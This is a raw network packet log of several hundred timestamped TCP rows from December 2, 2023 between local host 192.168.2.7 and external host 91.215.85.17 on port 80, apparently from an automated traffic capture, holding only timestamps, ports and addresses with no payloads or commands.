Dec 2, 2023 18:01:43.635495901 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.635505915 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.635513067 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.635520935 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.635544062 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.635544062 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.635544062 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.635576010 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.635586023 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.635592937 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.635606050 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.635615110 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.635624886 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.635632992 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.635633945 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.635632992 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.635643005 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.635710955 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.635710955 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.635754108 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.635781050 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.635792017 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.635798931 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.635828018 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.635848045 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.635855913 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.635905027 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.635987043 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.635997057 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.636004925 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.636008024 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.636012077 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.636022091 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.636034012 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.636039972 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.636048079 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.636059046 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.636066914 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.636075974 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.636084080 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.636090040 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.636090994 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.636090994 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.636090994 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.636097908 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.636107922 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.636116028 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.636130095 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.636163950 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.636189938 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.636198997 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.636205912 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.636214018 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.636220932 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.636231899 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.636243105 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.636250973 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.636262894 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.636272907 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.636279106 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.636292934 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.636292934 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.636292934 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.636292934 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.636302948 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.636317968 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.636324883 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.636373043 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.636373997 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.636373997 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.636395931 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.636404037 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.636409998 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.636423111 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.636430979 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.636437893 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.636445999 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.636452913 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.636461020 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.636467934 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.636480093 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.636480093 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.636480093 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.636491060 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.636516094 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.636533976 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.636615038 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.636629105 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.636635065 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.636641979 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.636650085 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.636657000 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.636667013 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.636673927 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.636681080 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.636693001 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.636698961 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.636707067 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.636714935 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.636722088 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.636723042 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.636723042 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.636723042 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.636737108 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.636745930 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.636753082 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.636759043 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.636765957 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.636773109 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.636780977 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.636799097 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.636799097 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.636799097 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.636856079 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.636884928 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.636893034 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.636900902 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.636913061 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.636919975 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.636929989 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.636936903 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.636945009 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.636970043 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.636979103 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.636984110 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.636984110 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.636990070 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.637001038 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.637039900 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.637039900 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.637087107 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.637094975 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.637100935 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.637109995 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.637118101 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.637130022 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.637136936 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.637145996 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.637157917 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.637168884 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.637187958 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.637187958 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.637187958 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.637219906 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.637228966 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.637236118 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.637250900 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.637254000 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.637264967 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.637273073 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.637279987 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.637290001 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.637293100 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.637298107 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.637305975 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.637342930 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.637351036 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.637357950 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.637371063 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.637377977 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.637387037 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.637391090 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.637391090 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.637394905 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.637404919 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.637413025 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.637413025 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.637428045 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.637443066 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.637463093 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.637470007 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.637480021 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.637492895 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.637501001 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.637507915 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.637550116 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.637550116 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.637578964 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.637587070 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.637594938 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.637607098 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.637738943 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.637746096 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.637753010 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.637763977 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.637770891 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.637778997 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.637785912 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.637789011 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.637789011 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.637789011 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.637794018 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.637803078 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.637813091 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.637819052 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.637825966 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.637834072 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.637840986 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.637849092 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.637856007 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.637864113 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.637875080 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.637876034 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.637875080 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.637875080 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.637887001 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.637895107 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.637902021 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.637902975 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.637911081 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.637918949 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.637926102 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.637933016 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.637984037 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.637991905 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.637991905 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.637991905 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.638000965 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.638016939 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.638022900 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.638031960 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.638039112 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.638056993 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.638068914 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.638097048 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.638125896 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.638138056 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.638145924 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.638154030 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.638164997 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.638178110 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.638185978 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.638194084 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.638205051 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.638215065 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.638223886 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.638231039 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.638236046 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.638236046 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.638236046 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.638259888 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.638268948 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.638276100 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.638283014 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.638288975 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.638295889 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.638297081 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.638307095 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.638314962 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.638344049 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.638344049 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.638364077 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.638369083 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.638377905 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.638384104 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.638396025 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.638405085 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.638413906 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.638426065 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.638433933 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.638457060 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.638457060 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.638467073 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.638478041 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.638480902 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.638489008 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.638499975 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.638506889 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.638514042 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.638520956 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.638526917 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.638535023 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.638565063 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.638565063 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.638565063 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.638591051 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.638601065 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.638607979 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.638648033 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.638665915 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.638674021 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.638681889 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.638688087 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.638695002 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.638709068 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.638715982 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.638722897 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.638730049 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.638757944 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.638757944 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.638757944 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.638782024 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.638783932 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.638791084 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.638798952 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.638812065 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.638818026 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.638824940 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.638869047 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.638869047 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.638892889 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.638900995 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.638907909 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.638916016 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.638922930 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.638931036 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.639020920 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.639020920 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.639100075 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.639108896 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.639116049 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.639127970 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.639133930 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.639142036 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.639148951 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.639157057 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.639163971 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.639170885 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.639178038 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.639183998 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.639195919 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.639203072 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.639204979 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.639204979 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.639210939 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.639221907 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.639226913 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.639226913 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.639230967 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.639240026 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.639247894 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.639254093 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.639261007 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.639267921 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.639275074 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.639291048 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.639296055 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.639296055 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.639297962 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.639307976 CET	80	49713	91.215.85.17	192.168.2.7
